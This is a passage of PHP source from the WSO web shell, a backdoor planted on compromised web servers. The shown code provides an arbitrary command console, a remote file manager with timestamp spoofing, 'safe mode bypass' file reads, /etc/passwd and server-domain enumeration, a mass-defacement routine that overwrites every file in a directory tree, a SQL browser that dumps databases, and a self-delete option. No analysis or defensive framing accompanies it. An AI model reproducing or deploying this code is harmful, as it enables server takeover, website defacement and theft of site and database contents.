590 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
591 }
592 usort($files, "wsoCmp");
593 usort($dirs, "wsoCmp");
594 $files = array_merge($dirs, $files);
595 $l = 0;
596 foreach ($files as $f) {
597 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
598 $l = $l ? 0 : 1;
599 }
600 echo "<tr><td colspan=7>
601 <input type=hidden name=a value='FilesMan'>
602 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
603 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
604 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
605 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
606 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) echo "<option value='paste'>Paste / zip</option>";
607 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
608 wsoFooter();
609 }
610 function actionStringTools() {
611 if (!function_exists('hex2bin')) {
612 function hex2bin($p) {
613 return decbin(hexdec($p));
614 }
615 }
616 if (!function_exists('binhex')) {
617 function binhex($p) {
618 return dechex(bindec($p));
619 }
620 }
621 if (!function_exists('hex2ascii')) {
622 function hex2ascii($p) {
623 $r = '';
624 for ($i = 0;$i < strLen($p);$i+= 2) {
625 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
626 }
627 return $r;
628 }
629 }
630 if (!function_exists('ascii2hex')) {
631 function ascii2hex($p) {
632 $r = '';
633 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
634 return strtoupper($r);
635 }
636 }
637 if (!function_exists('full_urlencode')) {
638 function full_urlencode($p) {
639 $r = '';
640 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
641 return strtoupper($r);
642 }
643 }
644 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
645 if (isset($_POST['ajax'])) {
646 $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = true;
647 ob_start();
648 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
649 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
650
651 \'") . "';
652";
653 echo strlen($temp), "
654", $temp;
655 exit;
656 }
657 wsoHeader();
658 echo '<h1>String conversions</h1><div class=content>';
659 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = false;
660 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
661 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
662 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
663 if (!empty($_POST['p1'])) {
664 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
665 }
666 echo "</pre></div><br><h1>Search text in files:</h1><div class=content>
667 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
668 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
669 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
670 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
671 <tr><td></td><td><input type='submit' value='>>'></td></tr>
672 </table></form>";
673 function wsoRecursiveGlob($path) {
674 if (substr($path, -1) != '/') $path.= '/';
675 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
676 if (is_array($paths) && @count($paths)) {
677 foreach ($paths as $item) {
678 if (@is_dir($item)) {
679 if ($path != $item) wsoRecursiveGlob($item);
680 } else {
681 if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
682 }
683 }
684 }
685 }
686 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
687 echo "</div><br><h1>Search for hash:</h1><div class=content>
688 <form method='post' target='_blank' name='hf'>
689 <input type='text' name='hash' style='width:200px;'><br>
690 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
691 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
692 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
693 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
694 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
695 </form></div>";
696 wsoFooter();
697 }
698 function actionFilesTools() {
699 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
700 if (@$_POST['p2'] == 'download') {
701 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
702 ob_start("ob_gzhandler", 4096);
703 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
704 if (function_exists("mime_content_type")) {
705 $type = @mime_content_type($_POST['p1']);
706 header("Content-Type: " . $type);
707 }
708 $fp = @fopen($_POST['p1'], "r");
709 if ($fp) {
710 while (!@feof($fp)) echo @fread($fp, 1024);
711 fclose($fp);
712 }
713 }
714 exit;
715 }
716 if (@$_POST['p2'] == 'mkfile') {
717 if (!file_exists($_POST['p1'])) {
718 $fp = @fopen($_POST['p1'], 'w');
719 if ($fp) {
720 $_POST['p2'] = "edit";
721 fclose($fp);
722 }
723 }
724 }
725 wsoHeader();
726 echo '<h1>File tools</h1><div class=content>';
727 if (!file_exists(@$_POST['p1'])) {
728 echo 'File not exists';
729 wsoFooter();
730 return;
731 }
732 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
733 if (!$uid) {
734 $uid['name'] = @fileowner($_POST['p1']);
735 $gid['name'] = @filegroup($_POST['p1']);
736 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
737 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
738 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
739 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
740 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
741 else $m = array('Chmod', 'Rename', 'Touch');
742 foreach ($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
743 echo '<br><br>';
744 switch ($_POST['p2']) {
745 case 'view':
746 echo '<pre class=ml1>';
747 $fp = @fopen($_POST['p1'], 'r');
748 if ($fp) {
749 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
750 @fclose($fp);
751 }
752 echo '</pre>';
753 break;
754 case 'highlight':
755 if (@is_readable($_POST['p1'])) {
756 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
757 $code = @highlight_file($_POST['p1'], true);
758 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
759 }
760 break;
761 case 'chmod':
762 if (!empty($_POST['p3'])) {
763 $perms = 0;
764 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
765 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
766 }
767 clearstatcache();
768 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
769 break;
770 case 'edit':
771 if (!is_writable($_POST['p1'])) {
772 echo 'File isn\'t writeable';
773 break;
774 }
775 if (!empty($_POST['p3'])) {
776 $time = @filemtime($_POST['p1']);
777 $_POST['p3'] = substr($_POST['p3'], 1);
778 $fp = @fopen($_POST['p1'], "w");
779 if ($fp) {
780 @fwrite($fp, $_POST['p3']);
781 @fclose($fp);
782 echo 'Saved!<br><script>p3_="";</script>';
783 @touch($_POST['p1'], $time, $time);
784 }
785 }
786 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
787 $fp = @fopen($_POST['p1'], 'r');
788 if ($fp) {
789 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
790 @fclose($fp);
791 }
792 echo '</textarea><input type=submit value=">>"></form>';
793 break;
794 case 'hexdump':
795 $c = @file_get_contents($_POST['p1']);
796 $n = 0;
797 $h = array('00000000<br>', '', '');
798 $len = strlen($c);
799 for ($i = 0;$i < $len;++$i) {
800 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
801 switch (ord($c[$i])) {
802 case 0:
803 $h[2].= ' ';
804 break;
805 case 9:
806 $h[2].= ' ';
807 break;
808 case 10:
809 $h[2].= ' ';
810 break;
811 case 13:
812 $h[2].= ' ';
813 break;
814 default:
815 $h[2].= $c[$i];
816 break;
817 }
818 $n++;
819 if ($n == 32) {
820 $n = 0;
821 if ($i + 1 < $len) {
822 $h[0].= sprintf('%08X', $i + 1) . '<br>';
823 }
824 $h[1].= '<br>';
825 $h[2].= "
826";
827 }
828 }
829 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
830 break;
831 case 'rename':
832 if (!empty($_POST['p3'])) {
833 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
834 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
835 }
836 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
837 break;
838 case 'touch':
839 if (!empty($_POST['p3'])) {
840 $time = strtotime($_POST['p3']);
841 if ($time) {
842 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
843 else echo 'Touched!';
844 } else echo 'Bad time format!';
845 }
846 clearstatcache();
847 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
848 break;
849 }
850 echo '</div>';
851 wsoFooter();
852 }
853 function actionSafeMode() {
854 $temp = '';
855 ob_start();
856 switch ($_POST['p1']) {
857 case 1:
858 $temp = @tempnam($test, 'cx');
859 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
860 echo @file_get_contents($temp);
861 unlink($temp);
862 } else echo 'Sorry... Can\'t open file';
863 break;
864 case 2:
865 $files = glob($_POST['p2'] . '*');
866 if (is_array($files)) foreach ($files as $filename) echo $filename . "
867";
868 break;
869 case 3:
870 $ch = curl_init("file://" . $_POST['p2'] . "" . preg_replace('!\(\d+\)\s.*!', '', __FILE__));
871 curl_exec($ch);
872 break;
873 case 4:
874 ini_restore("safe_mode");
875 ini_restore("open_basedir");
876 include ($_POST['p2']);
877 break;
878 case 5:
879 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
880 $uid = @posix_getpwuid($_POST['p2']);
881 if ($uid) echo join(':', $uid) . "
882";
883 }
884 break;
885 }
886 $temp = ob_get_clean();
887 wsoHeader();
888 echo '<h1>Safe mode bypass</h1><div class=content>';
889 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
890 if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
891 echo '</div>';
892 wsoFooter();
893 }
894 function actionConsole() {
895 if (isset($_POST['ajax'])) {
896 $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = true;
897 ob_start();
898 echo "document.cf.cmd.value='';
899";
900 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
901$ " . $_POST['p1'] . "
902" . wsoEx($_POST['p1']), "
903
904 \'"));
905 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
906 if (@chdir($match[1])) {
907 $GLOBALS['cwd'] = @getcwd();
908 echo "document.mf.c.value='" . $GLOBALS['cwd'] . "';";
909 }
910 }
911 echo "document.cf.output.value+='" . $temp . "';";
912 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
913 $temp = ob_get_clean();
914 echo strlen($temp), "
915", $temp;
916 exit;
917 }
918 wsoHeader();
919 echo "<script>
920if(window.Event) window.captureEvents(Event.KEYDOWN);
921var cmds = new Array('');
922var cur = 0;
923function kp(e) {
924 var n = (window.Event) ? e.which : e.keyCode;
925 if(n == 38) {
926 cur--;
927 if(cur>=0)
928 document.cf.cmd.value = cmds[cur];
929 else
930 cur++;
931 } else if(n == 40) {
932 cur++;
933 if(cur < cmds.length)
934 document.cf.cmd.value = cmds[cur];
935 else
936 cur--;
937 }
938}
939function add(cmd) {
940 cmds.pop();
941 cmds.push(cmd);
942 cmds.push('');
943 cur = cmds.length-1;
944}
945</script>";
946 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
947 foreach ($GLOBALS['aliases'] as $n => $v) {
948 if ($v == '') {
949 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
950 continue;
951 }
952 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
953 }
954 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = false;
955 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 ' . (@$_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] ? 'checked' : '') . '> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
956 if (!empty($_POST['p1'])) {
957 echo htmlspecialchars("$ " . $_POST['p1'] . "
958" . wsoEx($_POST['p1']));
959 }
960 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
961 echo '</form></div><script>document.cf.cmd.focus();</script>';
962 wsoFooter();
963 }
964 function actionSelfRemove() {
965 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
966 else echo 'unlink error!';
967 if ($_POST['p1'] != 'yes') wsoHeader();
968 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
969 wsoFooter();
970 }
971 //** updates
972 function clear_fill($filo, $index) {
973 if (file_exists($filo)) {
974 $handle = fopen($filo, 'w');
975 fwrite($handle, '');
976 fwrite($handle, $index);
977 fclose($handle);
978 }
979 }
980 /////////
981 function do_it() {
982 global $dir, $index;
983 chdir($dir);
984 $me = str_replace(dirname(__FILE__) . '/', '', __FILE__);
985 $filos = scandir($dir);
986 $notallow = array(".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "..", ".");
987 sort($filos);
988 $n = 0;
989 echo "<center><textarea style='width: 950px; height: 300px;'>";
990 foreach ($filos as $filo) {
991 if ($filo != $me && is_dir($filo) != 1 && !in_array($filo, $notallow)) {
992 echo "$dir/$filo ====> ";
993 edit_file($filo, $index);
994 flush();
995 $n = $n + 1;
996 }
997 }
998 echo "</textarea>";
999 echo "<br>";
1000 echo "<br><h3>$n File Detected</h3></center><br>";
1001 }
1002 //////////////////////////////
1003 function ListFiles($dirall) {
1004 if ($dh = opendir($dirall)) {
1005 $filos = Array();
1006 $inner_files = Array();
1007 $me = str_replace(dirname(__FILE__) . '/', '', __FILE__);
1008 $notallow = array($me, ".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "Thumbs.db");
1009 while ($filo = readdir($dh)) {
1010 if ($filo != "." && $filo != ".." && $filo[0] != '.' && !in_array($filo, $notallow)) {
1011 if (is_dir($dirall . "/" . $filo)) {
1012 $inner_files = ListFiles($dirall . "/" . $filo);
1013 if (is_array($inner_files)) $filos = array_merge($filos, $inner_files);
1014 } else {
1015 array_push($filos, $dirall . "/" . $filo);
1016 }
1017 }
1018 }
1019 closedir($dh);
1020 return $filos;
1021 }
1022 }
1023 //////////////////////////////////////////
1024 function do_it_all() {
1025 global $index;
1026 $dirall = $_POST['dir'];
1027 echo "<center><textarea style='width: 950px; height: 300px;'>";
1028 echo "Blowing All Files In Main Dir
1029 Task Started ;D
1030";
1031 foreach (ListFiles($dirall) as $key => $filo) {
1032 $filo = str_replace('//', "/", $filo);
1033 echo "$filo ===>";
1034 edit_file($filo, $index);
1035 flush();
1036 }
1037 echo "</textarea>";
1038 $key = $key + 1;
1039 echo "<br><h3>$key File Detected</h3></center><br>";
1040 }
1041 ////////
1042 function actionMass() {
1043 wsoHeader();
1044 echo "<h1>Mass Defeace All Files</h1><div class=content>
1045 <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
1046 <strong>Index Code Here :</strong><br>
1047 <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
1048 <strong>Main Dir : </strong>
1049 <input name='dir' style='width: 550px' type='text' value=" . getcwd() . "/> | <strong>Options : </strong>
1050 <select name='option' style='width: 200px'>
1051 <option> </option>
1052 <option>Only for Selected Folder</option>
1053 <option>For all Sub Folders</option>
1054 </select>
1055 <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
1056 if (isset($_POST['p1'])) {
1057 if ($_POST['indexit']) {
1058 if ($_POST['option'] == "Only for Selected Folder") {
1059 do_it();
1060 } elseif ($_POST['option'] == "For all Sub Folders") {
1061 do_it_all();
1062 } else {
1063 echo "Please select one option to work on it !!";
1064 }
1065 }
1066 }
1067 wsoFooter();
1068 }
1069 function actionDomain() {
1070 wsoHeader();
1071 echo "<h1>Get All Server Domains</h1><div class=content>";
1072 $d0mains = @file("/etc/named.conf");
1073 if (!$d0mains) {
1074 echo "<br> Can't ReaD -> [/etc/named.conf]";
1075 } else {
1076 echo "<table align=center border=1>
1077<tr><td><b><span style='color:red'>Domain</span></b></td><td><b><span style='color:red'>User</span></b></td></tr>";
1078 foreach ($d0mains as $d0main) {
1079 if (eregi("zone", $d0main)) {
1080 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1081 flush();
1082 if (strlen(trim($domains[1][0])) > 2) {
1083 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
1084 echo "<tr><td><a target='_blank' href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
1085 flush();
1086 }
1087 }
1088 }
1089 echo "</table>
1090<p align='center'>";
1091 }
1092 wsoFooter();
1093 }
1094 function actionSql() {
1095 class DbClass {
1096 var $type;
1097 var $link;
1098 var $res;
1099 function DbClass($type) {
1100 $this->type = $type;
1101 }
1102 function connect($host, $user, $pass, $dbname) {
1103 switch ($this->type) {
1104 case 'mysql':
1105 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1106 break;
1107 case 'pgsql':
1108 $host = explode(':', $host);
1109 if (!$host[1]) $host[1] = 5432;
1110 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1111 break;
1112 }
1113 return false;
1114 }
1115 function selectdb($db) {
1116 switch ($this->type) {
1117 case 'mysql':
1118 if (@mysql_select_db($db)) return true;
1119 break;
1120 }
1121 return false;
1122 }
1123 function query($str) {
1124 switch ($this->type) {
1125 case 'mysql':
1126 return $this->res = @mysql_query($str);
1127 break;
1128 case 'pgsql':
1129 return $this->res = @pg_query($this->link, $str);
1130 break;
1131 }
1132 return false;
1133 }
1134 function fetch() {
1135 $res = func_num_args() ? func_get_arg(0) : $this->res;
1136 switch ($this->type) {
1137 case 'mysql':
1138 return @mysql_fetch_assoc($res);
1139 break;
1140 case 'pgsql':
1141 return @pg_fetch_assoc($res);
1142 break;
1143 }
1144 return false;
1145 }
1146 function listDbs() {
1147 switch ($this->type) {
1148 case 'mysql':
1149 return $this->res = @mysql_list_dbs($this->link);
1150 break;
1151 case 'pgsql':
1152 return $this->res = $this->query("SELECT datname FROM pg_database");
1153 break;
1154 }
1155 return false;
1156 }
1157 function listTables() {
1158 switch ($this->type) {
1159 case 'mysql':
1160 return $this->res = $this->query('SHOW TABLES');
1161 break;
1162 case 'pgsql':
1163 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1164 break;
1165 }
1166 return false;
1167 }
1168 function error() {
1169 switch ($this->type) {
1170 case 'mysql':
1171 return @mysql_error($this->link);
1172 break;
1173 case 'pgsql':
1174 return @pg_last_error($this->link);
1175 break;
1176 }
1177 return false;
1178 }
1179 function setCharset($str) {
1180 switch ($this->type) {
1181 case 'mysql':
1182 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1183 else $this->query('SET CHARSET ' . $str);
1184 break;
1185 case 'pgsql':
1186 return @pg_set_client_encoding($this->link, $str);
1187 break;
1188 }
1189 return false;
1190 }
1191 function loadFile($str) {
1192 switch ($this->type) {
1193 case 'mysql':
1194 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1195 break;
1196 case 'pgsql':
1197 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1198 $r = array();
1199 while ($i = $this->fetch()) $r[] = $i['file'];
1200 $this->query('drop table wso2');
1201 return array('file' => implode("
1202", $r));
1203 break;
1204 }
1205 return false;
1206 }
1207 function dump($table) {
1208 switch ($this->type) {
1209 case 'mysql':
1210 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1211 $create = mysql_fetch_array($res);
1212 echo $create[1] . ";
1213
1214";
1215 $this->query('SELECT * FROM `' . $table . '`');
1216 while ($item = $this->fetch()) {
1217 $columns = array();
1218 foreach ($item as $k => $v) {
1219 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1220 $columns[] = "`" . $k . "`";
1221 }
1222 echo 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1223";
1224 }
1225 break;
1226 case 'pgsql':
1227 $this->query('SELECT * FROM ' . $table);
1228 while ($item = $this->fetch()) {
1229 $columns = array();
1230 foreach ($item as $k => $v) {
1231 $item[$k] = "'" . addslashes($v) . "'";
1232 $columns[] = $k;
1233 }
1234 echo 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1235";
1236 }
1237 break;
1238 }
1239 return false;
1240 }
1241 };
1242 $db = new DbClass($_POST['type']);
1243 if (@$_POST['p2'] == 'download') {
1244 ob_start("ob_gzhandler", 4096);
1245 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1246 $db->selectdb($_POST['sql_base']);
1247 header("Content-Disposition: attachment; filename=dump.sql");
1248 header("Content-Type: text/plain");
1249 foreach ($_POST['tbl'] as $v) $db->dump($v);
1250 exit;
1251 }
1252 wsoHeader();
1253 echo "
1254<h1>Sql browser</h1><div class=content>
1255<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1256<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1257<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1258<td><select name='type'><option value='mysql' ";
1259 if (@$_POST['type'] == 'mysql') echo 'selected';
1260 echo ">MySql</option><option value='pgsql' ";
1261 if (@$_POST['type'] == 'pgsql') echo 'selected';
1262 echo ">PostgreSql</option></select></td>
1263<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
1264<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
1265<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
1266 $tmp = "<input type=text name=sql_base value=''>";
1267 if (isset($_POST['sql_host'])) {
1268 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1269 switch ($_POST['charset']) {
1270 case "Windows-1251":
1271 $db->setCharset('cp1251');
1272 break;
1273 case "UTF-8":
1274 $db->setCharset('utf8');
1275 break;
1276 case "KOI8-R":
1277 $db->setCharset('koi8r');
1278 break;
1279 case "KOI8-U":
